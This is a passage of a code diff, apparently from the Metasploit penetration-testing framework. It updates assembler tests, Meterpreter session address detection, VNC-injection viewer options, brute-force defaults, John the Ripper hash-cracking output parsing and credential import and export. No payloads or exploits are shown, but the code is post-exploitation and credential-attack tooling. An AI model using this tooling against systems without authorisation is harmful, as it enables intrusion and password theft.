+5 -> 9
+9 -> a -> 9
+EOS
+  test_layout <<EOS
+onlyloop -> onlyloop
+EOS
+
+rescue Interrupt
+end
+
+if __FILE__ == $0
+  $target = ARGV[0]
+  test_all
+end
diff --git a/lib/metasm/tests/ia32.rb b/lib/metasm/tests/ia32.rb
index fc1da82a2d..e4d990b1ed 100644
--- a/lib/metasm/tests/ia32.rb
+++ b/lib/metasm/tests/ia32.rb
@@ -44,6 +44,17 @@ class TestIa32 < Test::Unit::TestCase
     assert_equal(assemble("jmp.i32 $"), "\xe9\xfb\xff\xff\xff")
   end
 
+  def test_opsz
+    assert_equal(assemble("cbw"), "\x66\x98")
+    assert_equal(assemble("cwde"), "\x98")
+
+    assert_equal(assemble("cbw", @@cpu16), "\x98")
+    assert_equal(assemble("cwde", @@cpu16), "\x66\x98")
+
+    assert_equal(assemble("cmpxchg8b [eax]"), "\x0f\xc7\x08")
+    assert_equal(assemble("cmpxchg8b [bx]", @@cpu16), "\x66\x0f\xc7\x0f")
+  end
+
   def test_mrmsz
     assert_equal(assemble("mov [eax], ebx"), "\x89\x18")
     assert_equal(assemble("mov [eax], bl"), "\x88\x18")
@@ -77,6 +88,23 @@ class TestIa32 < Test::Unit::TestCase
     d = disassemble("\x90")
     assert_equal(d.decoded[0].class, Metasm::DecodedInstruction)
     assert_equal(d.decoded[0].opcode.name, "nop")
+
+    assert_equal(disassemble("\x66\x0f\xc7\x08").decoded[0], nil)
+    assert_equal(disassemble("\x0f\xc7\x08").decoded[0].opcode.name, "cmpxchg8b")
   end
 
+  def test_pfx
+    assert_equal(assemble("nop"), "\x90")
+    assert_equal(assemble("pause"), "\xf3\x90")
+    assert_equal(disassemble("\x90").decoded.values.first.opcode.name, "nop")
+    assert_equal(disassemble("\xf3\x90").decoded.values.first.opcode.name, "pause")
+  end
+
+  def test_avx
+    assert_equal(disassemble("\xc4\xc3\x75\x42\xc2\x03").decoded[0].instruction.to_s, "vmpsadbw ymm0, ymm1, ymm2, 3")
+    assert_equal(assemble("vmpsadbw ymm0, ymm1, ymm2, 3"), "\xc4\xc3\x75\x42\xc2\x03")
+    assert_equal(assemble("vpblendvb xmm1, xmm2, xmm3, xmm4"), "\xc4\xc3\x69\x4c\xcb\x40")
+    assert_equal(assemble("vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2"), "\xc4\xc2\xe9\x92\x0c\x0a")
+    assert_equal(disassemble("\xc4\xc2\xe9\x92\x0c\x0a").decoded[0].instruction.to_s, "vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2")
+  end
 end
diff --git a/lib/metasm/tests/parse_c.rb b/lib/metasm/tests/parse_c.rb
index dd3afa1780..3fb412bcef 100644
--- a/lib/metasm/tests/parse_c.rb
+++ b/lib/metasm/tests/parse_c.rb
@@ -36,6 +36,12 @@ class TestDynldr < Test::Unit::TestCase
     assert_raise(Metasm::ParseError) { cp.parse("long long long fu;") }
     cp.readtok until cp.eos?
 
+    assert_raise(Metasm::ParseError) { cp.parse("void badarg(int i, int i) {}") }
+    cp.readtok until cp.eos?
+
+    assert_raise(Metasm::ParseError) { cp.parse("struct strun; union strun;") }
+    cp.readtok until cp.eos?
+
     assert_raise(Metasm::ParseError) { cp.parse <<EOS }
 asm <<EOA
  foo
@@ -91,6 +97,27 @@ EOS
     assert_equal(4, cp.toplevel.struct['foo_4'].offsetof(cp, 'b'))
     assert_equal(5, cp.toplevel.struct['foo_4'].offsetof(cp, 'c'))
     assert_equal(16, cp.sizeof(cp.toplevel.struct['foo_5']))
+
+    assert_raise(Metasm::ParseError) { cp.parse("struct foo_3 { __int32 a; };") }
+    cp.readtok until cp.eos?
+    assert_nothing_raised { cp.parse("struct foo_3 { __int8 a; __int8 b; __int16 c; __int32 d; };") }
+
+    assert_nothing_raised {
+      cp.parse <<EOS
+struct scop { int i; };
+
+void func1(void) {
+  struct scop { __int64 j; __int64 z; };
+  struct scop s;
+  s.j = 0;
+}
+
+void func2(void) {
+  struct scop s;
+  s.i = 0;
+}
+EOS
+    }
   end
 
   def test_bitfields
@@ -157,7 +184,7 @@ struct foo_outer {
 };
 EOS
     s = cp.alloc_c_struct('foo_outer', :i => :size)
-    assert_equal(12, s.length)
+    assert_equal(12, s.sizeof)
     assert_equal(12, s.i)
     assert_raise(RuntimeError) { s.l = 42 }
     assert_nothing_raised { s.j = 0x12345678 }
@@ -165,4 +192,48 @@ EOS
     assert_equal(4, s.inner.stroff)
     assert_equal("0C0000007856341233333333", s.str.unpack('H*')[0].upcase)
   end
+
+  def test_cmpstruct
+st = <<EOS
+struct foo {
+  struct foo *p;
+  int i;
+};
+
+struct s1 {
+  struct s2 *p;
+};
+
+struct s2 {
+  struct s1 *p;
+};
+EOS
+    cp.parse st
+    cp.parse <<EOS
+struct t1 {
+  struct t2 *pt;
+};
+struct t2 {
+  struct t1 *pt;
+};
+EOS
+
+    cp2 = Metasm::Ia32.new.new_cparser
+    cp2.parse(st)
+    cp2.parse <<EOS
+struct t1 {
+  struct t2 *pt;
+};
+struct t2 {
+  struct t3 *pt;
+};
+struct t3 {
+  struct t1 *pt;
+};
+EOS
+    assert_equal(true, cp.toplevel.struct['foo'] == cp2.toplevel.struct['foo'])
+    assert_equal(true, cp.toplevel.struct['s1'].compare_deep(cp2.toplevel.struct['s1']))
+    assert_equal(true, cp.toplevel.struct['t1'] == cp2.toplevel.struct['t1'])	# expected failure
+    assert_equal(false, !!cp.toplevel.struct['t1'].compare_deep(cp2.toplevel.struct['t1']))
+  end
 end
diff --git a/lib/metasm/tests/x86_64.rb b/lib/metasm/tests/x86_64.rb
index 3b8cb68a09..f29ae70fc8 100644
--- a/lib/metasm/tests/x86_64.rb
+++ b/lib/metasm/tests/x86_64.rb
@@ -26,6 +26,7 @@ class TestX86_64 < Test::Unit::TestCase
     assert_equal("\x48\xbb\xef\xcd\xab\x89\x67\x45\x23\x01", assemble("mov rbx, 0123456789abcdefh"))
     assert_equal("\x8d\x05\x0c\0\0\0", assemble("lea eax, [rip+12]"))
     assert_equal("\x8d\x04\x25\x0c\0\0\0", assemble("lea eax, [12]"))
+    assert_equal("\x48\x81\xE3\xFF\xF0\xFF\xFF", assemble("and rbx, 0xffffffff_fffff0ff"))
   end
 
   def test_err
@@ -35,6 +36,8 @@ class TestX86_64 < Test::Unit::TestCase
     assert_raise(Metasm::ParseError) { assemble("add [bx]") }
     assert_raise(Metasm::ParseError) { assemble("add [eip+4*eax]") }
     assert_raise(Metasm::ParseError) { assemble("add ah, r8b") }
+    assert_raise(Metasm::EncodeError) { assemble("and rbx, 0x1_ffffffff_ffffffff") }
+    assert_raise(Metasm::EncodeError) { assemble("mov rbx, 011123456789abcdefh") }
   end
 
   def disassemble(bin, cpu=@@cpu)
@@ -59,4 +62,41 @@ class TestX86_64 < Test::Unit::TestCase
     assert_equal('r12b', op["\x41\xfe\xc4"])
     assert_equal('[rip-6+12h]', op["\x8d\x05\x0c\0\0\0"])
   end
+
+  def test_opsz
+    assert_equal("\x66\x98", assemble("cbw"))
+    assert_equal("\x98", assemble("cwde"))
+    assert_equal("\x48\x98", assemble("cdqe"))
+
+    assert_equal("\x0f\xc7\x08", assemble("cmpxchg8b [rax]"))
+    assert_equal("\x48\x0f\xc7\x08", assemble("cmpxchg16b [rax]"))
+
+    assert_equal(nil, disassemble("\x66\x0f\xc7\x08").decoded[0])
+    assert_equal('cmpxchg8b', disassemble("\x47\x0f\xc7\x08").decoded[0].opcode.name)
+    assert_equal('cmpxchg16b', disassemble("\x48\x0f\xc7\x08").decoded[0].opcode.name)
+  end
+
+  def test_avx
+    assert_equal('vmpsadbw ymm12, ymm14, ymm2, 3', disassemble("\xc4\x63\x0d\x42\xe2\x03").decoded[0].instruction.to_s)
+    assert_equal("\xc4\x63\x0d\x42\xe2\x03", assemble('vmpsadbw ymm12, ymm14, ymm2, 3'))
+    assert_equal("\xc5\x31\x63\xc2", assemble('vpacksswb xmm8, xmm9, xmm2'))
+    assert_equal("\xc4\x41\x31\x63\xc2", assemble('vpacksswb xmm8, xmm9, xmm10'))
+    assert_equal("\xc5\x31\x63\x04\x5a", assemble('vpacksswb xmm8, xmm9, [rdx+2*rbx]'))
+    assert_equal("\xc4\x01\x31\x63\x04\x5a", assemble('vpacksswb xmm8, xmm9, [r10+2*r11]'))
+    assert_equal("\xc4\x22\x99\x92\x14\x1a", assemble('vgatherdpd xmm10, qword ptr [rdx+xmm11], xmm12'))
+    assert_equal('vgatherdpd xmm10, qword ptr [rdx+xmm11], xmm12', disassemble("\xc4\x22\x99\x92\x14\x1a").decoded[0].instruction.to_s)
+  end
+
+  def test_lol
+    # x64 nop weirdnesses
+    assert_equal("\x87\xc0", assemble('xchg eax, eax'))
+    assert_equal('xchg r8, rax', disassemble("\x49\x90").decoded[0].instruction.to_s)
+  end
+
+  def test_C_size
+    assert_nothing_raised {
+      Metasm::Shellcode.compile_c(@@cpu, "void main(void) { int i=5670, j=8907 ; i = i*j; }").encode_string
+    }
+  end
+
 end
diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb
index 7b6c6d713e..508f533c5a 100644
--- a/lib/msf/base/sessions/meterpreter.rb
+++ b/lib/msf/base/sessions/meterpreter.rb
@@ -303,52 +303,20 @@ class Meterpreter < Rex::Post::Meterpreter::Client
         safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
         self.info = safe_info
 
-        # Enumerate network interfaces to detect IP
-        ifaces   = self.net.config.get_interfaces().flatten rescue []
-        routes   = self.net.config.get_routes().flatten rescue []
-        shost    = self.session_host
+        hobj = nil
 
-        # Try to match our visible IP to a real interface
-        # TODO: Deal with IPv6 addresses
-        found    = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } })
-        nhost    = nil
-        hobj     = nil
-
-        if Rex::Socket.is_ipv4?(shost) and not found
-
-          # Try to find an interface with a default route
-          default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" }
-          default_routes.each do |r|
-            ifaces.each do |i|
-              bits = Rex::Socket.net2bitmask( i.netmask ) rescue 32
-              rang = Rex::Socket::RangeWalker.new( "#{i.ip}/#{bits}" ) rescue nil
-              if rang and rang.include?( r.gateway )
-                nhost = i.ip
-                break
-              end
-            end
-            break if nhost
-          end
-
-          # Find the first non-loopback address
-          if not nhost
-            iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" }
-            if iface.length > 0
-              nhost = iface.first.ip
-            end
-          end
-        end
+        nhost = find_internet_connected_address
 
+        original_session_host = self.session_host
         # If we found a better IP address for this session, change it up
         # only handle cases where the DB is not connected here
-        if  not (framework.db and framework.db.active)
+        if !(framework.db && framework.db.active)
           self.session_host = nhost
         end
 
-
         # The rest of this requires a database, so bail if it's not
         # there
-        return if not (framework.db and framework.db.active)
+        return if !(framework.db && framework.db.active)
 
         ::ActiveRecord::Base.connection_pool.with_connection {
           wspace = framework.db.find_workspace(workspace)
@@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client
           if nhost
             framework.db.report_note({
               :type      => "host.nat.server",
-              :host      => shost,
+              :host      => original_session_host,
               :workspace => wspace,
               :data      => { :info   => "This device is acting as a NAT gateway for #{nhost}", :client => nhost },
               :update    => :unique_data
             })
-            framework.db.report_host(:host => shost, :purpose => 'firewall' )
+            framework.db.report_host(:host => original_session_host, :purpose => 'firewall' )
 
             framework.db.report_note({
               :type      => "host.nat.client",
               :host      => nhost,
               :workspace => wspace,
-              :data      => { :info => "This device is traversing NAT gateway #{shost}", :server => shost },
+              :data      => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host },
               :update    => :unique_data
             })
             framework.db.report_host(:host => nhost, :purpose => 'client' )
@@ -428,7 +396,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
     console.interact { self.interacting != true }
 
     # If the stop flag has been set, then that means the user exited.  Raise
-    # the EOFError so we can drop this bitch like a bad habit.
+    # the EOFError so we can drop this handle like a bad habit.
     raise EOFError if (console.stopped? == true)
   end
 
@@ -470,6 +438,60 @@ protected
 
   attr_accessor :rstream # :nodoc:
 
+  # Rummage through this host's routes and interfaces looking for an
+  # address that it uses to talk to the internet.
+  #
+  # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces
+  # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
+  # @return [String] The address from which this host reaches the
+  #   internet, as ASCII. e.g.: "192.168.100.156"
+  def find_internet_connected_address
+
+    ifaces = self.net.config.get_interfaces().flatten rescue []
+    routes = self.net.config.get_routes().flatten rescue []
+
+    # Try to match our visible IP to a real interface
+    found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } })
+    nhost = nil
+
+    # If the host has no address that matches what we see, then one of
+    # us is behind NAT so we have to look harder.
+    if !found
+      # Grab all routes to the internet
+      default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" }
+
+      default_routes.each do |route|
+        # Now try to find an interface whose network includes this
+        # Route's gateway, which means it's the one the host uses to get
+        # to the interweb.
+        ifaces.each do |i|
+          # Try all the addresses this interface has configured
+          addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask|
+            bits = Rex::Socket.net2bitmask( netmask )
+            range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil
+
+            !!(range && range.valid? && range.include?(route.gateway))
+          end
+          if addr_and_mask
+            nhost = addr_and_mask[0]
+            break
+          end
+        end
+        break if nhost
+      end
+
+      if !nhost
+        # Find the first non-loopback address
+        non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
+        if non_loopback
+          nhost = non_loopback.ip
+        end
+      end
+    end
+
+    nhost
+  end
+
 end
 
 end
diff --git a/lib/msf/base/sessions/vncinject.rb b/lib/msf/base/sessions/vncinject.rb
index e4be177c22..eaa7decf8f 100644
--- a/lib/msf/base/sessions/vncinject.rb
+++ b/lib/msf/base/sessions/vncinject.rb
@@ -152,14 +152,18 @@ class VncInject
   # Note that this says nothing about whether it worked, only that we found
   # the file.
   #
-  def autovnc
+  def autovnc(viewonly=true)
     vnc =
       Rex::FileUtils::find_full_path('vncviewer') ||
       Rex::FileUtils::find_full_path('vncviewer.exe')
 
     if (vnc)
+      args = []
+      args.push '-viewonly' if viewonly
+      args.push "#{vlhost}::#{vlport}"
+
       self.view = framework.threads.spawn("VncViewerWrapper", false) {
-        system("vncviewer #{vlhost}::#{vlport}")
+        system(vnc, *args)
       }
 
       return true
diff --git a/lib/msf/base/sessions/vncinject_options.rb b/lib/msf/base/sessions/vncinject_options.rb
index f110772c9b..05962133fc 100644
--- a/lib/msf/base/sessions/vncinject_options.rb
+++ b/lib/msf/base/sessions/vncinject_options.rb
@@ -22,6 +22,18 @@ module VncInjectOptions
             "The local host to use for the VNC proxy",
             '127.0.0.1'
           ]),
+        OptBool.new('DisableCourtesyShell',
+          [
+            false,
+            "Disables the Metasploit Courtesy shell",
+            true
+          ]),
+        OptBool.new('ViewOnly',
+          [
+            false,
+            "Runs the viewer in view mode",
+            true
+          ]),
         OptBool.new('AUTOVNC',
           [
             true,
@@ -32,12 +44,6 @@ module VncInjectOptions
 
     register_advanced_options(
       [
-        OptBool.new('DisableCourtesyShell',
-          [
-            false,
-            "Disables the Metasploit Courtesy shell",
-            false
-          ]),
         OptBool.new('DisableSessionTracking',
           [
             false,
@@ -79,7 +85,7 @@ module VncInjectOptions
 
     # If the AUTOVNC flag is set, launch VNC viewer.
     if (datastore['AUTOVNC'] == true)
-      if (session.autovnc)
+      if (session.autovnc(datastore['ViewOnly']))
         print_status("Launched vncviewer.")
       else
         print_error("Failed to launch vncviewer.  Is it installed and in your path?")
diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb
index bf0a1e7567..ff45da2aa2 100644
--- a/lib/msf/base/simple/framework.rb
+++ b/lib/msf/base/simple/framework.rb
@@ -100,7 +100,7 @@ module Framework
 
     # Initialize configuration and logging
     Msf::Config.init
-    Msf::Logging.init
+    Msf::Logging.init unless opts['DisableLogging']
 
     # Load the configuration
     framework.load_config
diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb
index c8922697a5..9cda2a1338 100644
--- a/lib/msf/base/simple/post.rb
+++ b/lib/msf/base/simple/post.rb
@@ -89,7 +89,7 @@ protected
   #
   # Job run proc, sets up the module and kicks it off.
   #
-  # XXX: Mostly Copy/pasted from simple/auxiliarly.rb
+  # XXX: Mostly Copy/pasted from simple/auxiliary.rb
   #
   def self.job_run_proc(ctx)
     mod = ctx[0]
@@ -99,9 +99,15 @@ protected
       # Grab the session object since we need to fire an event for not
       # only the normal module_run event that all module types have to
       # report, but a specific event for sessions as well.
-      s = mod.framework.sessions[mod.datastore["SESSION"]]
-      mod.framework.events.on_session_module_run(s, mod)
-      mod.run
+      s = mod.framework.sessions.get(mod.datastore["SESSION"])
+      if s
+        mod.framework.events.on_session_module_run(s, mod)
+        mod.run
+      else
+        mod.print_error("Session not found")
+        mod.cleanup
+        return
+      end
     rescue ::Timeout::Error => e
       mod.error = e
       mod.print_error("Post triggered a timeout exception")
@@ -135,7 +141,7 @@ protected
   #
   # Clean up the module after the job completes.
   #
-  # Copy/pasted from simple/auxiliarly.rb
+  # Copy/pasted from simple/auxiliary.rb
   #
   def self.job_cleanup_proc(ctx)
     mod = ctx[0]
diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb
index 2570106243..dc70d93349 100644
--- a/lib/msf/core/auxiliary/auth_brute.rb
+++ b/lib/msf/core/auxiliary/auth_brute.rb
@@ -20,8 +20,8 @@ module Auxiliary::AuthBrute
       OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line" ]),
       OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]),
       OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]),
-      OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]),
-      OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]),
+      OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", false]),
+      OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
       OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",false]),
       OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]),
       OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]),
diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb
index c1053918eb..db7af6a43f 100644
--- a/lib/msf/core/auxiliary/jtr.rb
+++ b/lib/msf/core/auxiliary/jtr.rb
@@ -135,14 +135,20 @@ module Auxiliary::JohnTheRipper
 
     ::IO.popen(cmd, "rb") do |fd|
       fd.each_line do |line|
+        line.chomp!
         print_status(line)
         if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m
           res[:cracked]   = $1.to_i
           res[:uncracked] = $2.to_i
         end
 
-        bits = line.split(':')
+        # XXX: If the password had : characters in it, we're screwed
+
+        bits = line.split(':', -1)
+
+        # Skip blank passwords
         next if not bits[2]
+
         if (format== 'lm' or format == 'nt')
           res[ :users ][ bits[0] ] = bits[1]
         else
@@ -201,7 +207,14 @@ module Auxiliary::JohnTheRipper
   end
 
   def john_wordlist_path
-    ::File.join(john_base_path, "wordlists", "password.lst")
+    # We ship it under wordlists/
+    path = ::File.join(john_base_path, "wordlists", "password.lst")
+    # magnumripper/JohnTheRipper repo keeps it under run/
+    unless ::File.file? path
+      path = ::File.join(john_base_path, "run", "password.lst")
+    end
+
+    path
   end
 
   def john_binary_path
@@ -209,6 +222,7 @@ module Auxiliary::JohnTheRipper
     if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH'])
       path = datastore['JOHN_PATH']
       ::FileUtils.chmod(0755, path) rescue nil
+      return path
     end
 
     if not @run_path
diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb
index 8d60cd9a12..fd32b94b0d 100644
--- a/lib/msf/core/auxiliary/nmap.rb
+++ b/lib/msf/core/auxiliary/nmap.rb
@@ -184,7 +184,6 @@ def nmap_validate_rports
   if datastore['RPORT'] && (datastore['RPORT'].kind_of?(Fixnum) || !datastore['RPORT'].empty?)
     return true
   end
-  bad_port = false
   if rports.nil? || rports.empty?
     print_error "Missing RPORTS"
     return false
@@ -193,14 +192,10 @@ def nmap_validate_rports
     if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/
       next
     else
-      bad_port = true
-      break
+      print_error "Malformed nmap port: #{r}"
+      return false
     end
   end
-  if bad_port
-    print_error "Malformed nmap port: #{r}"
-    return false
-  end
   print_status "Using RPORTS range #{datastore['RPORTS']}"
   return true
 end
@@ -246,7 +241,7 @@ def nmap_hosts(&block)
   fh = self.nmap_log[0]
   nmap_data = fh.read(fh.stat.size)
   # fh.unlink
-  if Rex::Parser.nokogiri_loaded
+  if Rex::Parser.nokogiri_loaded && framework.db.active
     wspace = framework.db.find_workspace(datastore['WORKSPACE'])
     wspace ||= framework.db.workspace
     import_args = { :data => nmap_data, :wspace => wspace }
diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb
index e08efc4ef1..fade61b0ea 100644
--- a/lib/msf/core/auxiliary/scanner.rb
+++ b/lib/msf/core/auxiliary/scanner.rb
@@ -32,6 +32,16 @@ def initialize(info = {})
 end
 
 
+def check
+  nmod = replicant
+  begin
+    nmod.check_host(datastore['RHOST'])
+  rescue NoMethodError
+    Exploit::CheckCode::Unsupported
+  end
+end
+
+
 #
 # The command handler when launched from the console
 #
@@ -79,7 +89,7 @@ def run
 
     @tl = []
 
-    while (true)
+    loop do
       # Spawn threads for each host
       while (@tl.length < threads_max)
         ip = ar.next_ip
diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb
index ef92dcb7da..c74b205f0b 100644
--- a/lib/msf/core/db.rb
+++ b/lib/msf/core/db.rb
@@ -1547,9 +1547,9 @@ class DBManager
 
     ret = {}
 
-    #Check to see if the creds already exist. We look also for a downcased username with the
-    #same password because we can fairly safely assume they are not in fact two seperate creds.
-    #this allows us to hedge against duplication of creds in the DB.
+    # Check to see if the creds already exist. We look also for a downcased username with the
+    # same password because we can fairly safely assume they are not in fact two seperate creds.
+    # this allows us to hedge against duplication of creds in the DB.
 
     if duplicate_ok
     # If duplicate usernames are okay, find by both user and password (allows
@@ -2092,25 +2092,16 @@ class DBManager
       loot.service_id = opts[:service][:id]
     end
 
-    loot.path  = path
-    loot.ltype = ltype
+    loot.path         = path
+    loot.ltype        = ltype
     loot.content_type = ctype
-    loot.data  = data
-    loot.name  = name if name
-    loot.info  = info if info
+    loot.data         = data
+    loot.name         = name if name
+    loot.info         = info if info
+    loot.workspace    = wspace
     msf_import_timestamps(opts,loot)
     loot.save!
 
-    if !opts[:created_at]
-=begin
-      if host
-        host.updated_at = host.created_at
-        host.state      = HostState::Alive
-        host.save!
-      end
-=end
-    end
-
     ret[:loot] = loot
   }
   end
@@ -2932,21 +2923,26 @@ class DBManager
   def import_filetype_detect(data)
 
     if data and data.kind_of? Zip::ZipFile
-      raise DBImportError.new("The zip file provided is empty.") if data.entries.empty?
+      if data.entries.empty?
+        raise DBImportError.new("The zip file provided is empty.")
+      end
+
       @import_filedata ||= {}
       @import_filedata[:zip_filename] = File.split(data.to_s).last
       @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"")
       @import_filedata[:zip_entry_names] = data.entries.map {|x| x.name}
-      begin
-        @import_filedata[:zip_xml] = @import_filedata[:zip_entry_names].grep(/^(.*)_[0-9]+\.xml$/).first || raise
-        @import_filedata[:zip_wspace] = @import_filedata[:zip_xml].to_s.match(/^(.*)_[0-9]+\.xml$/)[1]
-        @import_filedata[:type] = "Metasploit ZIP Report"
-        return :msf_zip
-      rescue ::Interrupt
-        raise $!
-      rescue ::Exception
-        raise DBImportError.new("The zip file provided is not a Metasploit ZIP report")
+
+      xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/)
+
+      # TODO This check for our zip export should be more extensive
+      if xml_files.empty?
+        raise DBImportError.new("The zip file provided is not a Metasploit Zip Export")
       end
+
+      @import_filedata[:zip_xml] = xml_files.first
+      @import_filedata[:type] = "Metasploit Zip Export"
+
+      return :msf_zip
     end
 
     if data and data.kind_of? PacketFu::PcapFile
@@ -3171,7 +3167,7 @@ class DBManager
     data = ""
     ::File.open(filename, 'rb') do |f|
       data = f.read(f.stat.size)
-    		end
+    end
     import_wapiti_xml(args.merge(:data => data))
   end
 
@@ -3487,16 +3483,29 @@ class DBManager
           sname = $6
         end
       when /^[\s]*Warning:/
-        next # Discard warning messages.
-      when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/ # SMB Hash
+        # Discard warning messages.
+        next
+
+      # SMB Hash
+      when /^[\s]*([^\s:]+):[0-9]+:([A-Fa-f0-9]+:[A-Fa-f0-9]+):[^\s]*$/
         user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
         pass = ([nil, "<BLANK>"].include?($2)) ? "" : $2
         ptype = "smb_hash"
-      when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/ # SMB Hash
+
+      # SMB Hash
+      when /^[\s]*([^\s:]+):([0-9]+):NO PASSWORD\*+:NO PASSWORD\*+[^\s]*$/
         user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
         pass = ""
         ptype = "smb_hash"
-      when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
+
+      # SMB Hash with cracked plaintext, or just plain old plaintext
+      when /^[\s]*([^\s:]+):(.+):[A-Fa-f0-9]*:[A-Fa-f0-9]*:::$/
+        user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
+        pass = ([nil, "<BLANK>"].include?($2)) ? "" : $2
+        ptype = "password"
+
+      # Must be a user pass
+      when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n
         user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
         pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
         ptype = "password"
@@ -3611,16 +3620,13 @@ class DBManager
       end
     }
 
-
     data.entries.each do |e|
       target = ::File.join(@import_filedata[:zip_tmp],e.name)
-      ::File.unlink target if ::File.exists?(target) # Yep. Deleted.
       data.extract(e,target)
       if target =~ /^.*.xml$/
         target_data = ::File.open(target, "rb") {|f| f.read 1024}
         if import_filetype_detect(target_data) == :msf_xml
           @import_filedata[:zip_extracted_xml] = target
-          #break
         end
       end
     end
@@ -5631,19 +5637,19 @@ class DBManager
 
   # Pull out vulnerabilities that have at least one matching
   # ref -- many "vulns" are not vulns, just audit information.
-  def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block)
+  def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,task_id,&block)
     host.elements.each("VULN_INFO_LIST/VULN_INFO") do |vi|
       next unless vi.elements["QID"]
       vi.elements.each("QID") do |qid|
         next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty?
-        handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil,nil, args[:task])
+        handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil, nil, task_id)
       end
     end
   end
 
   # Takes QID numbers and finds the discovered services in
   # a qualys_asset_xml.
-  def find_qualys_asset_ports(i,host,wspace,hobj)
+  def find_qualys_asset_ports(i,host,wspace,hobj,task_id)
     return unless (i == 82023 || i == 82004)
     proto = i == 82023 ? 'tcp' : 'udp'
     qid = host.elements["VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']"]
@@ -5656,7 +5662,7 @@ class DBManager
         else
           name = match[2].strip
         end
-        handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, args[:task])
+        handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id)
       end
     end
   end
@@ -5700,11 +5706,11 @@ class DBManager
       end
 
       # Report open ports.
-      find_qualys_asset_ports(82023,host,wspace,hobj) # TCP
-      find_qualys_asset_ports(82004,host,wspace,hobj) # UDP
+      find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP
+      find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP
 
       # Report vulns
-      find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,&block)
+      find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block)
 
     end # host
 
diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb
index ad79e6a02b..0a110f3006 100644
--- a/lib/msf/core/db_export.rb
+++ b/lib/msf/core/db_export.rb
@@ -149,11 +149,11 @@ class Export
               report_file.puts "Warning: could not read the private key '#{c.pass}'."
             end
           end
-        else "text"
+        when "text"
           data.each do |c|
             user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : Rex::Text.ascii_safe_hex(c.user, true)
             pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : Rex::Text.ascii_safe_hex(c.pass, true)
-            report_file.write "%s %s\n" % [user,pass]
+            report_file.write "%s:%s:::\n" % [user,pass]
           end
         end
         report_file.flush
@@ -372,7 +372,7 @@ class Export
   def extract_module_detail_info(report_file)
       Mdm::Module::Detail.all.each do |m|
       report_file.write("<module_detail>\n")
-      m_id = m.attributes["id"]
+      #m_id = m.attributes["id"]
 
       # Module attributes
       m.attributes.each_pair do |k,v|
